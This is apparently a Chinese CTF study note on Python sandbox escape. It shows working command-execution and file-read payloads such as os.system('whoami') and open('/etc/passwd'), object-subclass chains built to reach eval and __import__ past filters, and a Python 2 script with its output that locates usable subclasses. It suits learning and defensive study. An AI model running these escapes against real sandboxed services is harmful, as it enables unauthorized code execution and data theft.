python沙箱逃逸和flask模板注入知识总结

前言:

由于最近在打比赛时经常遇到各种python沙箱逃逸和ssti模板注入知识因此自己总结一波。

0x01 基础知识

dir()函数

dir() 函数不带参数时,返回当前范围内的变量、方法和定义的类型列表;带参数时,返回参数的属性、方法列表。如果参数包含方法dir(),该方法将被调用。如果参数不包含dir(),该方法将最大限度地收集参数信息。
1
2
3
4
>>> dir()
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__']
>>> dir([])
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

__builtins__

__builtins__即是引用,Python程序一旦启动,它就会在程序员所写的代码运行之前就已经被加载到内存中了,而对于__builtins__却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。
可以通过dir()函数来查看该模块内包含的函数,同时也可以通过dict属性调用这些函数。
1
2
3
4
5
6
7
8
# 下面代码可列出所有的内联函数
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']
>>> __builtins__.__dict__['__import__']('os').system('ls')

# Python3有一个builtins模块,可以导入builtins模块后通过dir函数查看所有的内联函数
import builtins
dir(builtins)

__import__

__import__接收字符串作为参数,导入该字符串名称的模块。
如import sys相当于__import__(‘sys’),另外由于参数是字符串的形式,因此在某些情况下可利用字符串拼接的方式Bypass过滤,如:__import__(‘o’+’s’).system(‘ca’+’lc’)。

__bases__

返回一个类直接所继承的类(元组表示)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Base1:
def __init__(self):
pass

class Base2:
def __init__(self):
pass

class test(Base1, Base2):
pass

class test2(test):
pass

class Base:
def __init__(self):
pass

print test.__bases__
print test2.__bases__
"""
(<class __main__.Base1 at 0x00000000030E9768>, <class __main__.Base2 at 0x0000000003645B28>)
(<class __main__.test at 0x0000000003645B88>,)
"""

__mro__

method resolution order(解析方法调用的顺序)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class A(object):
def foo(self):
print('A.foo()')

class B(object):
def foo(self):
print('B.foo()')

class C(B, A):
pass

c = C()
c.foo()
print C.__base__
print C.__bases__
print C.__mro__
"""
B.foo()
<class '__main__.B'>
(<class '__main__.B'>, <class '__main__.A'>)
(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <type 'object'>)
"""
可以看出__base__返回第一个调用的基类,__mro__表示调用的顺序。

__class__

返回一个实例所属的类
1
2
3
4
5
6
7
8
class Base:
def __init__(self):
pass
obj=Base()
print obj.__class__
"""
__main__.Base
"""

__class__指明了所属的类型

1
2
3
4
5
6
>>> [].__class__
<class 'list'>
>>> ().__class__
<class 'tuple'>
>>> ''.__class__
<class 'str'>

__globals__

__globals__是一个特殊属性,能够返回函数所在模块命名空间的所有变量,其中包含了很多已经引入的modules。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#coding:utf-8
import os
var=520

def fun():
pass

class test:
def __init__(self):
pass

print test.__init__.__globals__
"""
{
'__builtins__': <module '__builtin__' (built-in)>,
'__file__': 'D:/PycharmProjects/de1ctf/venv/web/demo.py',
'__package__': None,
'fun': <function fun at 0x0000000002D0C588>,
'test': <class __main__.test at 0x0000000002D69768>,
'var': 520, '__name__': '__main__',
'os': <module 'os' from 'D:\PycharmProjects\de1ctf\venv\lib\os.pyc'>,
'__doc__': None
}
"""

object类

python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__和__bases__两种方式来创建object的方法如下:
1
2
3
4
5
6
7
8
9
10
11
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

__subclasses__()

获取一个类的子类,返回的是一个列表
1
2
3
4
5
6
7
8
9
10
11
class Base(object):
def __init__(self):
pass

class test(Base):
pass

print Base.__subclasses__()
"""
[<class '__main__.test'>]
"""

__builtin__ 和 __builtins__

python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)。在控制台中直接输入__builtins__会看到如下情况.。
1
2
3
#python2
>>> __builtins__
<module '__builtin__' (built-in)>
ps:在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢?
1、在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
2、非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

模板的导入

常规的导入方式:
1
2
3
import xxx
from xxx import *
__import__('xxx')
除此之外,也可以通过路径引入模块,如在Linux系统中Python的os模块的路径一般都是在 /usr/lib/python2.7/os.py,当知道路径的时候,我们就可以通过如下的操作导入模块,然后进一步使用相关函数:
1
2
3
4
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>
import导入机制:当 import 一个模块时首先会在 sys.modules 这个字典中查找是否已经加载了此模块,如果加载了则只是将模块的名字加入到正在调用 import 的模块的 Local 命名空间中。如果没有加载则从 sys.path 目录中按照模块名称查找模块文件,模块可以是 py、pyc、pyd,找到后将模块载入内存,并加到 sys.modules 中,并将名称导入到当前的 Local 命名空间。
  • 通过 from a import b 导入,a 会被添加到 sys.modules 字典中,b 会被导入到当前的 Local 命名空间。通过 import a as b 导入,a 会被添加到 sys.modules 字典中,b 会被导入到当前的 Local 命名空间。对于嵌套导入的,比如 a.py 中存在一个 import b,那么 import a 时,a 和 b 模块都会被添加到 sys.modules 字典中,a 会被导入到当前的 Local 命名空间中,虽然模块 b 已经加载到内存了,如果访问还要再明确的在本模块中 import b。
  • 导入模块时会执行该模块。
  • 所以说如果某一个模块导入了os模块,我们就可以利用该模块的 dict 进而使用os模块,如下:
    1
    2
    3
    4
    import linecache
    linecache.__dict__['os'].system('ls')
    # 等价于
    linecache.os.system('ls')

0x02 可利用的模块和方法

在 Python 的内建函数中,有一些函数可以帮助我们实现命令执行或文件操作的利用。

命令执行类

os模块
1
2
3
4
5
import os
# 执行shell命令不会返回shell的输出
os.system('whoami')
# 会产生返回值,可通过read()的方式读取返回值
os.popen("whoami").read()
commands模块
commands模块会返回命令的输出和执行的状态位,仅限Linux环境
1
2
3
4
import commands
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("ls")

subprocess模块

1
2
3
4
import subprocess
# for example cals of command
subprocess.call(command, shell=True)
subprocess.Popen(command, shell=True)

pty模块

仅限Linux环境
1
2
import pty
pty.spawn("ls")

timeit模块

1
2
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

platform模块

1
2
import platform
print platform.popen('dir').read()

__import__()函数

这个函数只是通过引入其他命令执行库实现命令执行:
1
__import__("os").system("ls")

importlib模块

1
2
3
4
import importlib
importlib.import_module('os').system('ls')
# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')

exec()/eval()/execfile()/compile()函数

这几个函数都能执行参数的Python代码。
注意:execfile()只存在于Python2,Python3没有该函数。
1
2
3
4
5
6
7
8
9
10
exec("__import__('os').system('calc')")

eval('__import__("os").system("calc")')

execfile('exp.py')
# 过滤import的情况可如下Bypass
execfile("E:\Python27\Lib\os.py")
system('calc')

exec(compile('__import__("os").system("calc")', '<string>', 'exec'))

sys模块

该模块通过modules()函数引入命令执行模块来实现:
1
2
import sys
sys.modules['os'].system('calc')

文件操作类

file()函数
注意:该函数只存在py2中
1
2
file('/etc/passwd').read()
file('flag.txt','w').write('xxx')
open()函数
1
2
open('/etc/passwd').read()
open('flag.txt','a').write('xxx')
codecs模块
1
2
3
import codecs
codecs.open('/etc/passwd').read()
codecs.open('flag.txt', 'w').write('xxx')

获取当前python的环境信息

sys模块
1
2
3
4
import sys
sys.version
sys.path
sys.modules

0x03 沙箱逃逸技巧

元素链

构造过程
由前面知道,我们可以通过如下方式获取object类:
1
2
3
4
5
6
7
8
9
10
11
12
13
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
然后通过object类的__subclasses__()方法获取所有的子类列表(Python2和Python3获取的子类不同):
1
2
3
4
5
6
7
''.__class__.__mro__[2].__subclasses__()
[].__class__.__mro__[1].__subclasses__()
{}.__class__.__mro__[1].__subclasses__()
().__class__.__mro__[1].__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__()
找到重载过的__init__类,例如:
1
''.__class__.__mro__[2].__subclasses__()[59].__init__
在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。
写个脚本帮我们来筛选出重载过的__init__类的类:
1
2
3
4
l = len(''.__class__.__mro__[2].__subclasses__())
for i in range(l):
if 'wrapper' not in str(''.__class__.__mro__[2].__subclasses__()[i].__init__):
print (i, ''.__class__.__mro__[2].__subclasses__()[i])
重载过的__init__类的类具有__globals__属性,这里以WarningMessage为例,会返回很多dict类型:
1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
寻找keys中的__builtins__来查看引用,这里同样会返回很多dict类型:
1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
再在keys中寻找可利用的函数即可,如file()函数为例:
1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
至此,整个元素链调用的构造过程就走了一遍了,下面看看还有哪些可利用的函数。

使用脚本遍历其他逃逸方法:

py2脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
# coding=UTF-8

find_modules = {'filecmp': ['os', '__builtins__'], 'heapq': ['__builtins__'], 'code': ['sys', '__builtins__'],
'hotshot': ['__builtins__'], 'distutils': ['sys', '__builtins__'], 'functools': ['__builtins__'],
'random': ['__builtins__'], 'tty': ['sys', '__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
'sysconfig': ['os', 'sys', '__builtins__'], 'whichdb': ['os', 'sys', '__builtins__'],
'runpy': ['sys', '__builtins__'], 'pty': ['os', 'sys', '__builtins__'],
'plat-atheos': ['os', 'sys', '__builtins__'], 'xml': ['__builtins__'], 'sgmllib': ['__builtins__'],
'importlib': ['sys', '__builtins__'], 'UserList': ['__builtins__'], 'tempfile': ['__builtins__'],
'mimify': ['sys', '__builtins__'], 'pprint': ['__builtins__'],
'platform': ['os', 'platform', 'sys', '__builtins__'], 'collections': ['__builtins__'],
'cProfile': ['__builtins__'], 'smtplib': ['__builtins__'], 'compiler': ['__builtins__', 'compile'],
'string': ['__builtins__'], 'SocketServer': ['os', 'sys', '__builtins__'],
'plat-darwin': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'sys', '__builtins__'],
'repr': ['__builtins__'], 'wave': ['sys', '__builtins__', 'open'], 'curses': ['__builtins__'],
'antigravity': ['__builtins__'], 'plat-irix6': ['os', 'sys', '__builtins__'],
'plat-freebsd6': ['os', 'sys', '__builtins__'], 'plat-freebsd7': ['os', 'sys', '__builtins__'],
'plat-freebsd4': ['os', 'sys', '__builtins__'], 'plat-freebsd5': ['os', 'sys', '__builtins__'],
'plat-freebsd8': ['os', 'sys', '__builtins__'], 'aifc': ['__builtins__', 'open'],
'sndhdr': ['__builtins__'], 'cookielib': ['__builtins__'], 'ConfigParser': ['__builtins__'],
'httplib': ['os', '__builtins__'], '_MozillaCookieJar': ['sys', '__builtins__'],
'bisect': ['__builtins__'], 'decimal': ['__builtins__'], 'cmd': ['__builtins__'],
'binhex': ['os', 'sys', '__builtins__'], 'sunau': ['__builtins__', 'open'],
'pydoc': ['os', 'sys', '__builtins__'], 'plat-riscos': ['os', 'sys', '__builtins__'],
'token': ['__builtins__'], 'Bastion': ['__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
'shlex': ['os', 'sys', '__builtins__'], 'quopri': ['__builtins__'],
'multiprocessing': ['os', 'sys', '__builtins__'], 'dummy_threading': ['__builtins__'],
'dircache': ['os', '__builtins__'], 'asyncore': ['os', 'sys', '__builtins__'],
'pkgutil': ['os', 'sys', '__builtins__'], 'compileall': ['os', 'sys', '__builtins__'],
'SimpleHTTPServer': ['os', 'sys', '__builtins__'], 'locale': ['sys', '__builtins__'],
'chunk': ['__builtins__'], 'macpath': ['os', '__builtins__'], 'popen2': ['os', 'sys', '__builtins__'],
'mimetypes': ['os', 'sys', '__builtins__'], 'toaiff': ['os', '__builtins__'],
'atexit': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'],
'tabnanny': ['os', 'sys', '__builtins__'], 'HTMLParser': ['__builtins__'],
'encodings': ['codecs', '__builtins__'], 'BaseHTTPServer': ['sys', '__builtins__'],
'calendar': ['sys', '__builtins__'], 'mailcap': ['os', '__builtins__'],
'plat-unixware7': ['os', 'sys', '__builtins__'], 'abc': ['__builtins__'], 'plistlib': ['__builtins__'],
'bdb': ['os', 'sys', '__builtins__'], 'py_compile': ['os', 'sys', '__builtins__', 'compile'],
'pipes': ['os', '__builtins__'], 'rfc822': ['__builtins__'],
'tarfile': ['os', 'sys', '__builtins__', 'open'], 'struct': ['__builtins__'],
'urllib': ['os', 'sys', '__builtins__'], 'fpformat': ['__builtins__'],
're': ['sys', '__builtins__', 'compile'], 'mutex': ['__builtins__'],
'ntpath': ['os', 'sys', '__builtins__'], 'UserString': ['sys', '__builtins__'], 'new': ['__builtins__'],
'formatter': ['sys', '__builtins__'], 'email': ['sys', '__builtins__'],
'cgi': ['os', 'sys', '__builtins__'], 'ftplib': ['os', 'sys', '__builtins__'],
'plat-linux2': ['os', 'sys', '__builtins__'], 'ast': ['__builtins__'],
'optparse': ['os', 'sys', '__builtins__'], 'UserDict': ['__builtins__'],
'inspect': ['os', 'sys', '__builtins__'], 'mailbox': ['os', 'sys', '__builtins__'],
'Queue': ['__builtins__'], 'fnmatch': ['__builtins__'], 'ctypes': ['__builtins__'],
'codecs': ['sys', '__builtins__', 'open'], 'getopt': ['os', '__builtins__'], 'md5': ['__builtins__'],
'cgitb': ['os', 'sys', '__builtins__'], 'commands': ['__builtins__'],
'logging': ['os', 'codecs', 'sys', '__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
'plat-irix5': ['os', 'sys', '__builtins__'], 'sre': ['__builtins__', 'compile'],
'ensurepip': ['os', 'sys', '__builtins__'], 'DocXMLRPCServer': ['sys', '__builtins__'],
'traceback': ['sys', '__builtins__'], 'netrc': ['os', '__builtins__'], 'wsgiref': ['__builtins__'],
'plat-generic': ['os', 'sys', '__builtins__'], 'weakref': ['__builtins__'],
'ihooks': ['os', 'sys', '__builtins__'], 'telnetlib': ['sys', '__builtins__'],
'doctest': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
'smtpd': ['os', 'sys', '__builtins__'], '_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'],
'dis': ['sys', '__builtins__'], 'os': ['sys', '__builtins__', 'open'],
'pdb': ['os', 'sys', '__builtins__'], 'this': ['__builtins__'], 'base64': ['__builtins__'],
'os2emxpath': ['os', '__builtins__'], 'glob': ['os', 'sys', '__builtins__'],
'unittest': ['__builtins__'], 'dummy_thread': ['__builtins__'],
'fileinput': ['os', 'sys', '__builtins__'], '__future__': ['__builtins__'],
'robotparser': ['__builtins__'], 'plat-mac': ['os', 'sys', '__builtins__'],
'_threading_local': ['__builtins__'], '_LWPCookieJar': ['sys', '__builtins__'],
'wsgiref.egg-info': ['os', 'sys', '__builtins__'], 'sha': ['__builtins__'],
'sre_constants': ['__builtins__'], 'json': ['__builtins__'], 'Cookie': ['__builtins__'],
'tokenize': ['__builtins__'], 'plat-beos5': ['os', 'sys', '__builtins__'],
'rexec': ['os', 'sys', '__builtins__'], 'lib-tk': ['__builtins__'], 'textwrap': ['__builtins__'],
'fractions': ['__builtins__'], 'sqlite3': ['__builtins__'], 'posixfile': ['__builtins__', 'open'],
'imaplib': ['subprocess', 'sys', '__builtins__'], 'xdrlib': ['__builtins__'],
'imghdr': ['__builtins__'], 'macurl2path': ['os', '__builtins__'],
'_osx_support': ['os', 'sys', '__builtins__'],
'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'],
'plat-netbsd1': ['os', 'sys', '__builtins__'], 'nturl2path': ['__builtins__'],
'tkinter': ['__builtins__'], 'copy': ['__builtins__'], 'pickletools': ['__builtins__'],
'hashlib': ['__builtins__'], 'anydbm': ['__builtins__', 'open'], 'keyword': ['__builtins__'],
'timeit': ['timeit', 'sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
'StringIO': ['__builtins__'], 'modulefinder': ['os', 'sys', '__builtins__'],
'stringprep': ['__builtins__'], 'markupbase': ['__builtins__'], 'colorsys': ['__builtins__'],
'shelve': ['__builtins__', 'open'], 'multifile': ['__builtins__'], 'sre_parse': ['sys', '__builtins__'],
'pickle': ['sys', '__builtins__'], 'plat-os2emx': ['os', 'sys', '__builtins__'],
'mimetools': ['os', 'sys', '__builtins__'], 'audiodev': ['__builtins__'], 'copy_reg': ['__builtins__'],
'sre_compile': ['sys', '__builtins__', 'compile'], 'CGIHTTPServer': ['os', 'sys', '__builtins__'],
'idlelib': ['__builtins__'], 'site': ['os', 'sys', '__builtins__'],
'getpass': ['os', 'sys', '__builtins__'], 'imputil': ['sys', '__builtins__'],
'bsddb': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
'numbers': ['__builtins__'], 'io': ['__builtins__', 'open'],
'plat-sunos5': ['os', 'sys', '__builtins__'], 'symtable': ['__builtins__'],
'pyclbr': ['sys', '__builtins__'], 'shutil': ['os', 'sys', '__builtins__'], 'lib2to3': ['__builtins__'],
'threading': ['__builtins__'], 'dbhash': ['sys', '__builtins__', 'open'],
'gettext': ['os', 'sys', '__builtins__'], 'dumbdbm': ['__builtins__', 'open'],
'_weakrefset': ['__builtins__'], '_abcoll': ['sys', '__builtins__'], 'MimeWriter': ['__builtins__'],
'test': ['__builtins__'], 'opcode': ['__builtins__'], 'csv': ['__builtins__'],
'nntplib': ['__builtins__'], 'profile': ['os', 'sys', '__builtins__'],
'genericpath': ['os', '__builtins__'], 'stat': ['__builtins__'], '__phello__.foo': ['__builtins__'],
'sched': ['__builtins__'], 'statvfs': ['__builtins__'], 'trace': ['os', 'sys', '__builtins__'],
'warnings': ['sys', '__builtins__'], 'symbol': ['__builtins__'], 'sets': ['__builtins__'],
'htmlentitydefs': ['__builtins__'], 'urllib2': ['os', 'sys', '__builtins__'],
'SimpleXMLRPCServer': ['os', 'sys', '__builtins__'], 'sunaudio': ['__builtins__'],
'pdb.doc': ['os', '__builtins__'], 'asynchat': ['__builtins__'], 'user': ['os', '__builtins__'],
'xmllib': ['__builtins__'], 'codeop': ['__builtins__'], 'plat-next3': ['os', 'sys', '__builtins__'],
'types': ['__builtins__'], 'argparse': ['__builtins__'], 'uuid': ['os', 'sys', '__builtins__'],
'plat-aix4': ['os', 'sys', '__builtins__'], 'plat-aix3': ['os', 'sys', '__builtins__'],
'ssl': ['os', 'sys', '__builtins__'], 'poplib': ['__builtins__'], 'xmlrpclib': ['__builtins__'],
'difflib': ['__builtins__'], 'urlparse': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
'_strptime': ['__builtins__'], 'htmllib': ['__builtins__'], 'site-packages': ['__builtins__'],
'posixpath': ['os', 'sys', '__builtins__'], 'stringold': ['__builtins__'],
'gzip': ['os', 'sys', '__builtins__', 'open'], 'mhlib': ['os', 'sys', '__builtins__'],
'rlcompleter': ['__builtins__'], 'hmac': ['__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(find_modules.keys() + target_modules + target_functions))
all_modules = list(set(find_modules.keys() + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
----------1-----------
(40, 'file')
----------2-----------
(59, <class 'warnings.WarningMessage'>, 'linecache', ['os', 'sys', '__builtins__'])
(59, <class 'warnings.WarningMessage'>, '__builtins__', None)
(59, <class 'warnings.WarningMessage'>, 'sys', None)
(59, <class 'warnings.WarningMessage'>, 'types', ['__builtins__'])
(60, <class 'warnings.catch_warnings'>, 'linecache', ['os', 'sys', '__builtins__'])
(60, <class 'warnings.catch_warnings'>, '__builtins__', None)
(60, <class 'warnings.catch_warnings'>, 'sys', None)
(60, <class 'warnings.catch_warnings'>, 'types', ['__builtins__'])
(61, <class '_weakrefset._IterationGuard'>, '__builtins__', None)
(62, <class '_weakrefset.WeakSet'>, '__builtins__', None)
(72, <class 'site._Printer'>, '__builtins__', None)
(72, <class 'site._Printer'>, 'os', ['sys', '__builtins__', 'open'])
(72, <class 'site._Printer'>, 'sys', None)
(74, <class 'site.Quitter'>, '__builtins__', None)
(74, <class 'site.Quitter'>, 'os', ['sys', '__builtins__', 'open'])
(74, <class 'site.Quitter'>, 'sys', None)
(75, <class 'codecs.IncrementalEncoder'>, '__builtins__', None)
(75, <class 'codecs.IncrementalEncoder'>, 'sys', None)
(75, <class 'codecs.IncrementalEncoder'>, 'open', None)
(76, <class 'codecs.IncrementalDecoder'>, '__builtins__', None)
(76, <class 'codecs.IncrementalDecoder'>, 'sys', None)
(76, <class 'codecs.IncrementalDecoder'>, 'open', None)
----------3-----------
(59, 13, <class 'warnings.WarningMessage'>, '__import__')
(59, 13, <class 'warnings.WarningMessage'>, 'file')
(59, 13, <class 'warnings.WarningMessage'>, 'compile')
(59, 13, <class 'warnings.WarningMessage'>, 'eval')
(59, 13, <class 'warnings.WarningMessage'>, 'open')
(59, 13, <class 'warnings.WarningMessage'>, 'execfile')
(60, 13, <class 'warnings.catch_warnings'>, '__import__')
(60, 13, <class 'warnings.catch_warnings'>, 'file')
(60, 13, <class 'warnings.catch_warnings'>, 'compile')
(60, 13, <class 'warnings.catch_warnings'>, 'eval')
(60, 13, <class 'warnings.catch_warnings'>, 'open')
(60, 13, <class 'warnings.catch_warnings'>, 'execfile')
(61, 1, <class '_weakrefset._IterationGuard'>, '__import__')
(61, 1, <class '_weakrefset._IterationGuard'>, 'file')
(61, 1, <class '_weakrefset._IterationGuard'>, 'compile')
(61, 1, <class '_weakrefset._IterationGuard'>, 'eval')
(61, 1, <class '_weakrefset._IterationGuard'>, 'open')
(61, 1, <class '_weakrefset._IterationGuard'>, 'execfile')
(62, 1, <class '_weakrefset.WeakSet'>, '__import__')
(62, 1, <class '_weakrefset.WeakSet'>, 'file')
(62, 1, <class '_weakrefset.WeakSet'>, 'compile')
(62, 1, <class '_weakrefset.WeakSet'>, 'eval')
(62, 1, <class '_weakrefset.WeakSet'>, 'open')
(62, 1, <class '_weakrefset.WeakSet'>, 'execfile')
(72, 19, <class 'site._Printer'>, 'file')
(72, 19, <class 'site._Printer'>, 'exec')
(72, 24, <class 'site._Printer'>, '__import__')
(72, 24, <class 'site._Printer'>, 'file')
(72, 24, <class 'site._Printer'>, 'compile')
(72, 24, <class 'site._Printer'>, 'eval')
(72, 24, <class 'site._Printer'>, 'open')
(72, 24, <class 'site._Printer'>, 'execfile')
(74, 19, <class 'site.Quitter'>, 'file')
(74, 19, <class 'site.Quitter'>, 'exec')
(74, 24, <class 'site.Quitter'>, '__import__')
(74, 24, <class 'site.Quitter'>, 'file')
(74, 24, <class 'site.Quitter'>, 'compile')
(74, 24, <class 'site.Quitter'>, 'eval')
(74, 24, <class 'site.Quitter'>, 'open')
(74, 24, <class 'site.Quitter'>, 'execfile')
(75, 21, <class 'codecs.IncrementalEncoder'>, 'open')
(75, 23, <class 'codecs.IncrementalEncoder'>, '__import__')
(75, 23, <class 'codecs.IncrementalEncoder'>, 'file')
(75, 23, <class 'codecs.IncrementalEncoder'>, 'compile')
(75, 23, <class 'codecs.IncrementalEncoder'>, 'eval')
(75, 23, <class 'codecs.IncrementalEncoder'>, 'open')
(75, 23, <class 'codecs.IncrementalEncoder'>, 'execfile')
(76, 21, <class 'codecs.IncrementalDecoder'>, 'open')
(76, 23, <class 'codecs.IncrementalDecoder'>, '__import__')
(76, 23, <class 'codecs.IncrementalDecoder'>, 'file')
(76, 23, <class 'codecs.IncrementalDecoder'>, 'compile')
(76, 23, <class 'codecs.IncrementalDecoder'>, 'eval')
(76, 23, <class 'codecs.IncrementalDecoder'>, 'open')
(76, 23, <class 'codecs.IncrementalDecoder'>, 'execfile')
----------4-----------
(60, '__import__')
(60, 'file')
(60, 'repr')
(60, 'compile')
